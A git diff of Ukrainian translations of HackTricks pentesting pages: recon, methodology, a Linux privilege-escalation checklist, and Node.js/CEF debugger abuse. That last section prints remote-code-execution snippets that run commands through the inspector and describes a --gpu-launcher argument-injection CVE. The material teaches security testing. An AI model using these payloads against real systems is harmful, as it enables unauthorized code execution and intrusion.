З отриманими словниками ви можете використовувати такі інструменти, як [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **або** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
@ -535,7 +535,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
## Витоки облікових даних
|
||||
|
||||
З **доменами**, **піддоменами** та **електронними листами** ви можете почати шукати облікові дані, які були витікали в минулому і належать цим електронним листам:
|
||||
З **доменами,** **піддоменами** та **електронними листами** ви можете почати шукати облікові дані, які були витікали в минулому і належать цим електронним листам:
|
||||
|
||||
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
|
||||
- [https://www.dehashed.com/](https://www.dehashed.com/)
|
||||
@ -546,7 +546,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
|
||||
|
||||
## Витоки секретів
|
||||
|
||||
Витоки облікових даних пов'язані з зломами компаній, де **конфіденційна інформація була витікала та продавалася**. Однак компанії можуть постраждати від **інших витоків**, інформація про які не міститься в цих базах даних:
|
||||
Витоки облікових даних пов'язані з злом компаній, де **конфіденційна інформація була витікала та продавалася**. Однак компанії можуть бути піддані впливу **інших витоків**, інформація про які не міститься в цих базах даних:
|
||||
|
||||
### Витоки Github
|
||||
|
||||
@ -592,9 +592,9 @@ _Зверніть увагу, що інструменти, які очікуют
|
||||
|
||||
- [**Snyk**](https://app.snyk.io/)
|
||||
|
||||
## [**Методологія пентестингу веб**](../../network-services-pentesting/pentesting-web/)
|
||||
## [**Методологія пентестингу веб**](../../network-services-pentesting/pentesting-web/index.html)
|
||||
|
||||
**Більшість вразливостей**, виявлених мисливцями за помилками, знаходяться всередині **веб-додатків**, тому на цьому етапі я хотів би поговорити про **методологію тестування веб-додатків**, і ви можете [**знайти цю інформацію тут**](../../network-services-pentesting/pentesting-web/).
|
||||
**Більшість вразливостей**, виявлених шукачами помилок, знаходяться всередині **веб-додатків**, тому на цьому етапі я хотів би поговорити про **методологію тестування веб-додатків**, і ви можете [**знайти цю інформацію тут**](../../network-services-pentesting/pentesting-web/index.html).
|
||||
|
||||
Я також хочу зробити особливе посилання на розділ [**Автоматизовані сканери веб-відкритого коду**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), оскільки, якщо ви не повинні очікувати, що вони знайдуть вам дуже чутливі вразливості, вони стануть у нагоді для реалізації їх у **робочих процесах, щоб отримати деяку початкову веб-інформацію.**
|
||||
|
||||
@ -608,13 +608,13 @@ _Зверніть увагу, що інструменти, які очікуют
|
||||
2. Знайшли всі **активи**, що належать компаніям (і виконали деяке сканування вразливостей, якщо це в межах сфери)
|
||||
3. Знайшли всі **домени**, що належать компаніям
|
||||
4. Знайшли всі **піддомени** доменів (чи є якісь захоплення піддоменів?)
|
||||
5. Знайшли всі **IP-адреси** (з і **не з CDN**) в межах сфери.
|
||||
5. Знайшли всі **IP** (з та **не з CDN**) в межах сфери.
|
||||
6. Знайшли всі **веб-сервери** та зробили **скриншот** з них (чи є щось незвичайне, що варто детальніше розглянути?)
|
||||
7. Знайшли всі **потенційні публічні хмарні активи**, що належать компанії.
|
||||
8. **Електронні листи**, **витоки облікових даних** та **витоки секретів**, які можуть дати вам **велику перемогу дуже легко**.
|
||||
9. **Пентестинг всіх веб-сайтів, які ви знайшли**
|
||||
|
||||
## **Повні автоматичні інструменти розвідки**
|
||||
## **Автоматизовані інструменти повного розвідки**
|
||||
|
||||
Існує кілька інструментів, які виконуватимуть частину запропонованих дій проти заданої сфери.
|
||||
|
||||
@ -625,6 +625,6 @@ _Зверніть увагу, що інструменти, які очікуют
|
||||
|
||||
## **Посилання**
|
||||
|
||||
- Всі безкоштовні курси [**@Jhaddix**](https://twitter.com/Jhaddix), такі як [**Методологія мисливця за помилками v4.0 - Розділ розвідки**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
- Всі безкоштовні курси [**@Jhaddix**](https://twitter.com/Jhaddix), такі як [**Методологія мисливця на помилки v4.0 - Розділ розвідки**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -13,23 +13,23 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
Чи маєте ви **фізичний доступ** до машини, яку хочете атакувати? Вам слід прочитати деякі [**поради щодо фізичних атак**](../hardware-physical-access/physical-attacks.md) та інші про [**втечу з GUI-додатків**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||
|
||||
### 1 - [Виявлення хостів у мережі](pentesting-network/index.html#discovering-hosts)/ [Виявлення активів компанії](external-recon-methodology/)
|
||||
### 1 - [Виявлення хостів у мережі](pentesting-network/index.html#discovering-hosts)/ [Виявлення активів компанії](external-recon-methodology/index.html)
|
||||
|
||||
**Залежно** від того, чи є **тест**, який ви проводите, **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в Інтернеті** (зовнішній тест).
|
||||
**Залежно** від того, чи є **тест**, який ви проводите, **внутрішнім чи зовнішнім**, вам може бути цікаво знайти **хости всередині мережі компанії** (внутрішній тест) або **знайти активи компанії в інтернеті** (зовнішній тест).
|
||||
|
||||
> [!NOTE]
|
||||
> Зверніть увагу, що якщо ви проводите зовнішній тест, після того як вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
|
||||
> Зверніть увагу, що якщо ви проводите зовнішній тест, після того, як вам вдасться отримати доступ до внутрішньої мережі компанії, вам слід перезапустити цей посібник.
|
||||
|
||||
### **2-** [**Розваги з мережею**](pentesting-network/) **(Внутрішній)**
|
||||
### **2-** [**Розваги з мережею**](pentesting-network/index.html) **(Внутрішній)**
|
||||
|
||||
**Цей розділ застосовується лише якщо ви проводите внутрішній тест.**\
|
||||
Перед атакою на хост, можливо, ви захочете **вкрасти деякі облікові дані** **з мережі** або **перехопити** деякі **дані**, щоб дізнатися **пасивно/активно (MitM)**, що ви можете знайти всередині мережі. Ви можете прочитати [**Пентестинг Мережі**](pentesting-network/index.html#sniffing).
|
||||
|
||||
### 3- [Сканування портів - Виявлення сервісів](pentesting-network/index.html#scanning-hosts)
|
||||
|
||||
Перше, що потрібно зробити, коли ви **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте розглянемо [**базові інструменти для сканування портів хостів**](pentesting-network/index.html#scanning-hosts).
|
||||
Перше, що потрібно зробити, коли **шукаєте вразливості в хості**, це дізнатися, які **сервіси працюють** на яких портах. Давайте подивимося на [**базові інструменти для сканування портів хостів**](pentesting-network/index.html#scanning-hosts).
|
||||
|
||||
### **4-** [Пошук експлойтів версій сервісів](../generic-hacking/search-exploits.md)
|
||||
### **4-** [Пошук експлойтів для версій сервісів](../generic-hacking/search-exploits.md)
|
||||
|
||||
Якщо ви знаєте, які сервіси працюють, і, можливо, їх версії, вам потрібно **шукати відомі вразливості**. Можливо, вам пощастить, і існує експлойт, який дасть вам оболонку...
|
||||
|
||||
@ -39,7 +39,7 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
**У цій книзі ви знайдете посібник для пентестингу найбільш поширених сервісів** (та інших, які не є такими поширеними)**. Будь ласка, шукайте в лівому індексі розділ** _**ПЕНТЕСТИНГ**_ **(сервіси впорядковані за їх стандартними портами).**
|
||||
|
||||
**Я хочу зробити особливе зауваження про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/) **частину (оскільки вона є найбільш обширною).**\
|
||||
**Я хочу зробити особливе зауваження про** [**Пентестинг Веб**](../network-services-pentesting/pentesting-web/index.html) **частину (оскільки вона є найбільш обширною).**\
|
||||
Також тут можна знайти невеликий посібник про те, як [**знайти відомі вразливості в програмному забезпеченні**](../generic-hacking/search-exploits.md).
|
||||
|
||||
**Якщо ваш сервіс не входить до індексу, шукайте в Google** інші посібники та **повідомте мене, якщо ви хочете, щоб я його додав.** Якщо ви **не можете нічого знайти** в Google, проведіть свій **власний сліпий пентестинг**, ви можете почати з **підключення до сервісу, фуззингу його та читання відповідей** (якщо такі є).
|
||||
@ -52,13 +52,13 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
В деяких сценаріях **Брутфорс** може бути корисним для **компрометації** **сервісу**. [**Знайдіть тут Чит-лист різних сервісів для брутфорсингу**](../generic-hacking/brute-force.md)**.**
|
||||
|
||||
### 6- [Фішинг](phishing-methodology/)
|
||||
### 6- [Фішинг](phishing-methodology/index.html)
|
||||
|
||||
Якщо на цьому етапі ви не знайшли жодної цікавої вразливості, вам **можливо, потрібно спробувати деякий фішинг**, щоб потрапити всередину мережі. Ви можете прочитати мою методологію фішингу [тут](phishing-methodology/):
|
||||
Якщо на цьому етапі ви не знайшли жодної цікавої вразливості, вам **можливо, потрібно спробувати фішинг**, щоб потрапити всередину мережі. Ви можете прочитати мою методологію фішингу [тут](phishing-methodology/index.html):
|
||||
|
||||
### **7-** [**Отримання оболонки**](../generic-hacking/reverse-shells/)
|
||||
### **7-** [**Отримання оболонки**](../generic-hacking/reverse-shells/index.html)
|
||||
|
||||
Якимось чином ви повинні були знайти **якийсь спосіб виконати код** на жертві. Тоді [список можливих інструментів всередині системи, які ви можете використовувати для отримання зворотної оболонки, буде дуже корисним](../generic-hacking/reverse-shells/).
|
||||
Якимось чином ви повинні були знайти **якийсь спосіб виконати код** на жертві. Тоді [список можливих інструментів всередині системи, які ви можете використовувати для отримання зворотної оболонки, буде дуже корисним](../generic-hacking/reverse-shells/index.html).
|
||||
|
||||
Особливо в Windows вам може знадобитися допомога, щоб **уникнути антивірусів**: [**Перевірте цю сторінку**](../windows-hardening/av-bypass.md)**.**\\
|
||||
|
||||
@ -68,42 +68,42 @@ _Логотипи Hacktricks розроблені_ [_@ppiernacho_](https://www.i
|
||||
|
||||
- [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||
- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
|
||||
|
||||
### **9 -** [**Екстракція**](../generic-hacking/exfiltration.md)
|
||||
|
||||
Вам, ймовірно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут ви маєте** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](../generic-hacking/exfiltration.md)**.**
|
||||
Вам, напевно, потрібно буде **екстрактувати деякі дані з жертви** або навіть **ввести щось** (наприклад, скрипти підвищення привілеїв). **Ось тут ви маєте** [**пост про загальні інструменти, які ви можете використовувати з цими цілями**](../generic-hacking/exfiltration.md)**.**
|
||||
|
||||
### **10- Підвищення привілеїв**
|
||||
|
||||
#### **10.1- Локальне підвищення привілеїв**
|
||||
|
||||
Якщо ви **не root/Адміністратор** всередині системи, вам слід знайти спосіб **підвищити привілеї.**\
|
||||
Тут ви можете знайти **посібник для підвищення привілеїв локально в** [**Linux**](../linux-hardening/privilege-escalation/) **та в** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||
Вам також слід перевірити ці сторінки про те, як працює **Windows**:
|
||||
Тут ви можете знайти **посібник для підвищення привілеїв локально в** [**Linux**](../linux-hardening/privilege-escalation/index.html) **та в** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
|
||||
Вам також слід перевірити ці сторінки про те, як **працює Windows**:
|
||||
|
||||
- [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
- Як працює [**NTLM**](../windows-hardening/ntlm/)
|
||||
- [**Аутентифікація, облікові дані, привілеї токенів та UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
|
||||
- Як працює [**NTLM**](../windows-hardening/ntlm/index.html)
|
||||
- Як [**вкрасти облікові дані**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) в Windows
|
||||
- Деякі трюки про [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
|
||||
- Деякі трюки про [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
|
||||
|
||||
**Не забудьте перевірити найкращі інструменти для перерахунку шляхів підвищення привілеїв у Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**Не забудьте перевірити найкращі інструменти для перерахунку локальних шляхів підвищення привілеїв Windows та Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- Підвищення привілеїв домену**
|
||||
|
||||
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час пентестингу/Red Team завдання.
|
||||
Тут ви можете знайти [**методологію, що пояснює найбільш поширені дії для перерахунку, підвищення привілеїв та збереження в Active Directory**](../windows-hardening/active-directory-methodology/index.html). Навіть якщо це лише підрозділ розділу, цей процес може бути **надзвичайно делікатним** під час завдання Пентестингу/Red Team.
|
||||
|
||||
### 11 - POST
|
||||
|
||||
#### **11**.1 - Лутання
|
||||
|
||||
Перевірте, чи можете ви знайти більше **паролів** всередині хоста або якщо у вас є **доступ до інших машин** з **привілеями** вашого **користувача**.\
|
||||
Перевірте, чи можете ви знайти більше **паролів** всередині хоста або чи маєте **доступ до інших машин** з **привілеями** вашого **користувача**.\
|
||||
Знайдіть тут різні способи [**вивантаження паролів у Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
|
||||
|
||||
#### 11.2 - Постійність
|
||||
|
||||
**Використовуйте 2 або 3 різні типи механізмів постійності, щоб вам не потрібно було знову експлуатувати систему.**\
|
||||
**Тут ви можете знайти деякі** [**поради з постійності в Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
|
||||
**Тут ви можете знайти деякі** [**трюки постійності в Active Directory**](../windows-hardening/active-directory-methodology/index.html#persistence)**.**
|
||||
|
||||
TODO: Завершити постійність у Windows та Linux
|
||||
|
||||
@ -111,20 +111,20 @@ TODO: Завершити постійність у Windows та Linux
|
||||
|
||||
З **зібраними обліковими даними** ви можете отримати доступ до інших машин, або, можливо, вам потрібно **виявити та сканувати нові хости** (почати методологію пентестингу знову) всередині нових мереж, до яких підключена ваша жертва.\
|
||||
У цьому випадку тунелювання може бути необхідним. Тут ви можете знайти [**пост про тунелювання**](../generic-hacking/tunneling-and-port-forwarding.md).\
|
||||
Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\
|
||||
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/), це може бути дуже корисно для півотування в Windows-середовищах.
|
||||
Вам також слід перевірити пост про [методологію пентестингу Active Directory](../windows-hardening/active-directory-methodology/index.html). Там ви знайдете класні трюки для бічного переміщення, підвищення привілеїв та вивантаження облікових даних.\
|
||||
Також перевірте сторінку про [**NTLM**](../windows-hardening/ntlm/index.html), це може бути дуже корисно для півотування в Windows-середовищах.
|
||||
|
||||
### БІЛЬШЕ
|
||||
|
||||
#### [Android Додатки](../mobile-pentesting/android-app-pentesting/)
|
||||
#### [Android Додатки](../mobile-pentesting/android-app-pentesting/index.html)
|
||||
|
||||
#### **Експлуатація**
|
||||
|
||||
- [**Основна експлуатація Linux**](broken-reference/)
|
||||
- [**Основна експлуатація Linux**](broken-reference/index.html)
|
||||
- [**Основна експлуатація Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
- [**Основні інструменти експлуатації**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
|
||||
- [**Основні інструменти експлуатації**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
|
||||
|
||||
#### [**Основи Python**](python/)
|
||||
#### [**Основи Python**](python/index.html)
|
||||
|
||||
#### **Крипто трюки**
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
- [**Pyscript хакерські трюки**](pyscript.md)
|
||||
- [**Python десеріалізації**](../../pentesting-web/deserialization/index.html#python)
|
||||
- [**Трюки для обходу python пісочниць**](bypass-python-sandboxes/)
|
||||
- [**Трюки для обходу python пісочниць**](bypass-python-sandboxes/index.html)
|
||||
- [**Основний синтаксис веб-запитів на python**](web-requests.md)
|
||||
- [**Основний синтаксис python та бібліотеки**](basic-python.md)
|
||||
|
||||
|
@ -13,9 +13,9 @@
|
||||
app = Flask(__name__, template_folder='templates')
|
||||
app.secret_key = '(:secret:)'
|
||||
```
|
||||
У цьому випадку можливо отримати доступ до цього об'єкта, просто використовуючи будь-який гаджет для **доступу до глобальних об'єктів** з [**Сторінки обходу пісочниць Python**](bypass-python-sandboxes/).
|
||||
У цьому випадку можливо отримати доступ до цього об'єкта, просто використовуючи будь-який гаджет для **доступу до глобальних об'єктів** з [**сторінки обходу пісочниць Python**](bypass-python-sandboxes/index.html).
|
||||
|
||||
У випадку, коли **вразливість знаходиться в іншому файлі python**, вам потрібен гаджет для переходу між файлами, щоб дістатися до основного, щоб **отримати доступ до глобального об'єкта `app.secret_key`**, щоб змінити секретний ключ Flask і мати можливість [**ескалувати привілеї**, знаючи цей ключ](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
У випадку, коли **вразливість знаходиться в іншому файлі python**, вам потрібен гаджет для переходу між файлами, щоб дістатися до основного, щоб **отримати доступ до глобального об'єкта `app.secret_key`**, щоб змінити секретний ключ Flask і мати можливість [**підвищити привілеї** знаючи цей ключ](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign).
|
||||
|
||||
Пейлоад, подібний до цього [з цього опису](https://ctftime.org/writeup/36082):
|
||||
```python
|
||||
|
@ -13,7 +13,7 @@
|
||||
- [ ] **Перевірити**, чи [**версія sudo** вразлива](privilege-escalation/index.html#sudo-version)
|
||||
- [ ] [**Перевірка підпису Dmesg** не вдалася](privilege-escalation/index.html#dmesg-signature-verification-failed)
|
||||
- [ ] Більше системної енумерації ([дата, статистика системи, інформація про процесор, принтери](privilege-escalation/index.html#more-system-enumeration))
|
||||
- [ ] [**Перерахувати більше захистів**](privilege-escalation/index.html#enumerate-possible-defenses)
|
||||
- [ ] [Перерахувати більше захистів](privilege-escalation/index.html#enumerate-possible-defenses)
|
||||
|
||||
### [Диски](privilege-escalation/index.html#drives)
|
||||
|
||||
@ -45,8 +45,8 @@
|
||||
### [Служби](privilege-escalation/index.html#services)
|
||||
|
||||
- [ ] Якийсь **записуваний .service** файл?
|
||||
- [ ] Якийсь **записуваний бінарний файл**, що виконується службою?
|
||||
- [ ] Якась **записувана папка в системному PATH**?
|
||||
- [ ] Якийсь **записуваний бінарник**, що виконується службою?
|
||||
- [ ] Якась **записувана папка в systemd PATH**?
|
||||
|
||||
### [Таймери](privilege-escalation/index.html#timers)
|
||||
|
||||
@ -72,7 +72,7 @@
|
||||
|
||||
- [ ] Загальна **перерахування користувачів/груп**
|
||||
- [ ] Чи маєте ви **дуже великий UID**? Чи **вразлива** **машина**?
|
||||
- [ ] Чи можете ви [**підвищити привілеї завдяки групі**](privilege-escalation/interesting-groups-linux-pe/), до якої належите?
|
||||
- [ ] Чи можете ви [**підвищити привілеї завдяки групі**](privilege-escalation/interesting-groups-linux-pe/index.html), до якої належите?
|
||||
- [ ] **Дані буфера обміну**?
|
||||
- [ ] Політика паролів?
|
||||
- [ ] Спробуйте **використати** кожен **відомий пароль**, який ви раніше виявили, щоб увійти **з кожним** можливим **користувачем**. Спробуйте також увійти без пароля.
|
||||
@ -84,20 +84,20 @@
|
||||
### [Команди SUDO та SUID](privilege-escalation/index.html#sudo-and-suid)
|
||||
|
||||
- [ ] Чи можете ви виконати **будь-яку команду з sudo**? Чи можете ви використовувати його для ЧИТАННЯ, ЗАПИСУ або ВИКОНАННЯ чогось як root? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] Чи є якийсь **експлуатований SUID бінарний файл**? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] Чи є якийсь **експлуатований SUID бінарник**? ([**GTFOBins**](https://gtfobins.github.io))
|
||||
- [ ] Чи [**обмежені** команди **sudo** **шляхом**? Чи можете ви **обійти** обмеження](privilege-escalation/index.html#sudo-execution-bypassing-paths)?
|
||||
- [ ] [**Sudo/SUID бінарний файл без вказаного шляху**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
|
||||
- [ ] [**SUID бінарний файл з вказаним шляхом**](privilege-escalation/index.html#suid-binary-with-command-path)? Обійти
|
||||
- [ ] [**Sudo/SUID бінарник без вказаного шляху**](privilege-escalation/index.html#sudo-command-suid-binary-without-command-path)?
|
||||
- [ ] [**SUID бінарник з вказаним шляхом**](privilege-escalation/index.html#suid-binary-with-command-path)? Обійти
|
||||
- [ ] [**LD_PRELOAD вразливість**](privilege-escalation/index.html#ld_preload)
|
||||
- [ ] [**Відсутність .so бібліотеки в SUID бінарному файлі**](privilege-escalation/index.html#suid-binary-so-injection) з записуваної папки?
|
||||
- [ ] [**Доступні токени SUDO**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Чи можете ви створити токен SUDO**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
- [ ] [**Відсутність .so бібліотеки в SUID бінарнику**](privilege-escalation/index.html#suid-binary-so-injection) з записуваної папки?
|
||||
- [ ] [**Токени SUDO доступні**](privilege-escalation/index.html#reusing-sudo-tokens)? [**Чи можете ви створити SUDO токен**](privilege-escalation/index.html#var-run-sudo-ts-less-than-username-greater-than)?
|
||||
- [ ] Чи можете ви [**читати або модифікувати файли sudoers**](privilege-escalation/index.html#etc-sudoers-etc-sudoers-d)?
|
||||
- [ ] Чи можете ви [**модифікувати /etc/ld.so.conf.d/**](privilege-escalation/index.html#etc-ld-so-conf-d)?
|
||||
- [ ] [**OpenBSD DOAS**](privilege-escalation/index.html#doas) команда
|
||||
|
||||
### [Можливості](privilege-escalation/index.html#capabilities)
|
||||
|
||||
- [ ] Чи має якийсь бінарний файл **неочікувану можливість**?
|
||||
- [ ] Чи має якийсь бінарник **неочікувану можливість**?
|
||||
|
||||
### [ACL](privilege-escalation/index.html#acls)
|
||||
|
||||
@ -115,12 +115,12 @@
|
||||
|
||||
### [Цікаві файли](privilege-escalation/index.html#interesting-files)
|
||||
|
||||
- [ ] **Файли профілю** - Чи можна прочитати чутливі дані? Записати для підвищення привілеїв?
|
||||
- [ ] **Файли passwd/shadow** - Чи можна прочитати чутливі дані? Записати для підвищення привілеїв?
|
||||
- [ ] **Файли профілю** - Читати чутливі дані? Записувати для privesc?
|
||||
- [ ] **passwd/shadow файли** - Читати чутливі дані? Записувати для privesc?
|
||||
- [ ] **Перевірити загально цікаві папки** на наявність чутливих даних
|
||||
- [ ] **Дивні місця/власні файли**, до яких ви можете отримати доступ або змінити виконувані файли
|
||||
- [ ] **Змінені** за останні хвилини
|
||||
- [ ] **Файли Sqlite DB**
|
||||
- [ ] **Змінено** за останні хвилини
|
||||
- [ ] **Sqlite DB файли**
|
||||
- [ ] **Сховані файли**
|
||||
- [ ] **Скрипти/Бінарники в PATH**
|
||||
- [ ] **Веб файли** (паролі?)
|
||||
|
@ -2,9 +2,9 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Основна інформація
|
||||
|
||||
[From the docs](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Коли процес Node.js запускається з параметром `--inspect`, він слухає клієнта для налагодження. За **замовчуванням** він буде слухати на хості та порту **`127.0.0.1:9229`**. Кожному процесу також присвоюється **унікальний** **UUID**.
|
||||
[З документації](https://origin.nodejs.org/ru/docs/guides/debugging-getting-started): Коли процес Node.js запускається з параметром `--inspect`, він слухає клієнта для налагодження. За **замовчуванням** він буде слухати на хості та порту **`127.0.0.1:9229`**. Кожному процесу також присвоюється **унікальний** **UUID**.
|
||||
|
||||
Клієнти інспектора повинні знати та вказати адресу хоста, порт і UUID для підключення. Повна URL-адреса виглядатиме приблизно так: `ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e`.
|
||||
|
||||
@ -27,7 +27,7 @@ node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
|
||||
Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
For help, see: https://nodejs.org/en/docs/inspector
|
||||
```
|
||||
Процеси, засновані на **CEF** (**Chromium Embedded Framework**), повинні використовувати параметр: `--remote-debugging-port=9222`, щоб відкрити **debugger** (заходи захисту від SSRF залишаються дуже схожими). Однак, вони **замість** надання сесії **NodeJS** **debug** спілкуватимуться з браузером, використовуючи [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), це інтерфейс для керування браузером, але немає прямого RCE.
|
||||
Процеси, що базуються на **CEF** (**Chromium Embedded Framework**), повинні використовувати параметр: `--remote-debugging-port=9222`, щоб відкрити **debugger** (заходи захисту від SSRF залишаються дуже схожими). Однак, вони **замість** надання сесії **NodeJS** **debug** спілкуватимуться з браузером, використовуючи [**Chrome DevTools Protocol**](https://chromedevtools.github.io/devtools-protocol/), це інтерфейс для керування браузером, але немає прямого RCE.
|
||||
|
||||
Коли ви запускаєте налагоджений браузер, з'явиться щось подібне:
|
||||
```
|
||||
@ -40,9 +40,9 @@ DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4
|
||||
> [!NOTE]
|
||||
> Ці **заходи безпеки запобігають використанню інспектора** для виконання коду, **просто відправляючи HTTP запит** (що могло б бути зроблено шляхом експлуатації вразливості SSRF).
|
||||
|
||||
### Запуск інспектора в працюючих процесах
|
||||
### Запуск інспектора в запущених процесах
|
||||
|
||||
Ви можете надіслати **сигнал SIGUSR1** працюючому процесу nodejs, щоб змусити його **запустити інспектора** на порту за замовчуванням. Однак зверніть увагу, що вам потрібно мати достатні привілеї, тому це може надати вам **привілейований доступ до інформації всередині процесу**, але не призведе до прямого підвищення привілеїв.
|
||||
Ви можете надіслати **сигнал SIGUSR1** запущеному процесу nodejs, щоб змусити його **запустити інспектора** на порту за замовчуванням. Однак зверніть увагу, що вам потрібно мати достатні привілеї, тому це може надати вам **привілейований доступ до інформації всередині процесу**, але не пряме підвищення привілеїв.
|
||||
```bash
|
||||
kill -s SIGUSR1 <nodejs-ps>
|
||||
# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d
|
||||
@ -63,7 +63,7 @@ node inspect 127.0.0.1:9229
|
||||
# RCE example from debug console
|
||||
debug> exec("process.mainModule.require('child_process').exec('/Applications/iTerm.app/Contents/MacOS/iTerm2')")
|
||||
```
|
||||
Інструмент [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) дозволяє **знайти інспектори**, що працюють локально, та **впровадити код** у них.
|
||||
Інструмент [**https://github.com/taviso/cefdebug**](https://github.com/taviso/cefdebug) дозволяє **знайти інспектори**, що працюють локально, та **впроваджувати код** у них.
|
||||
```bash
|
||||
#List possible vulnerable sockets
|
||||
./cefdebug.exe
|
||||
@ -78,9 +78,9 @@ debug> exec("process.mainModule.require('child_process').exec('/Applications/iTe
|
||||
## RCE в NodeJS Debugger/Inspector
|
||||
|
||||
> [!NOTE]
|
||||
> Якщо ви прийшли сюди, шукаючи, як отримати [**RCE з XSS в Electron, будь ласка, перевірте цю сторінку.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/)
|
||||
> Якщо ви прийшли сюди, шукаючи, як отримати [**RCE з XSS в Electron, будь ласка, перевірте цю сторінку.**](../../network-services-pentesting/pentesting-web/electron-desktop-apps/index.html)
|
||||
|
||||
Деякі поширені способи отримання **RCE**, коли ви можете **підключитися** до Node **інспектора**, це використання чогось на зразок (схоже, що це **не спрацює при підключенні до Chrome DevTools protocol**):
|
||||
Деякі поширені способи отримання **RCE**, коли ви можете **підключитися** до Node **інспектора**, це використання чогось на зразок (схоже, що це **не працюватиме при підключенні до Chrome DevTools protocol**):
|
||||
```javascript
|
||||
process.mainModule.require("child_process").exec("calc")
|
||||
window.appshell.app.openURLInDefaultBrowser("c:/windows/system32/calc.exe")
|
||||
@ -94,9 +94,9 @@ Browser.open(JSON.stringify({ url: "c:\\windows\\system32\\calc.exe" }))
|
||||
|
||||
### Впровадження параметрів через глибокі посилання
|
||||
|
||||
У [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) компанія Rhino Security виявила, що програма на основі CEF **зареєструвала власний UR**I в системі (workspaces://), який отримував повний URI, а потім **запускала програму на основі CEF** з конфігурацією, що частково формувалася з цього URI.
|
||||
У [**CVE-2021-38112**](https://rhinosecuritylabs.com/aws/cve-2021-38112-aws-workspaces-rce/) компанія Rhino Security виявила, що програма на основі CEF **зареєструвала власний UR**I в системі (workspaces://index.html), який отримував повний URI, а потім **запустила програму на основі CEF** з конфігурацією, що частково формувалася з цього URI.
|
||||
|
||||
Було виявлено, що параметри URI декодувалися з URL і використовувалися для запуску базової програми CEF, що дозволяло користувачу **впроваджувати** прапорець **`--gpu-launcher`** у **командний рядок** і виконувати довільні команди.
|
||||
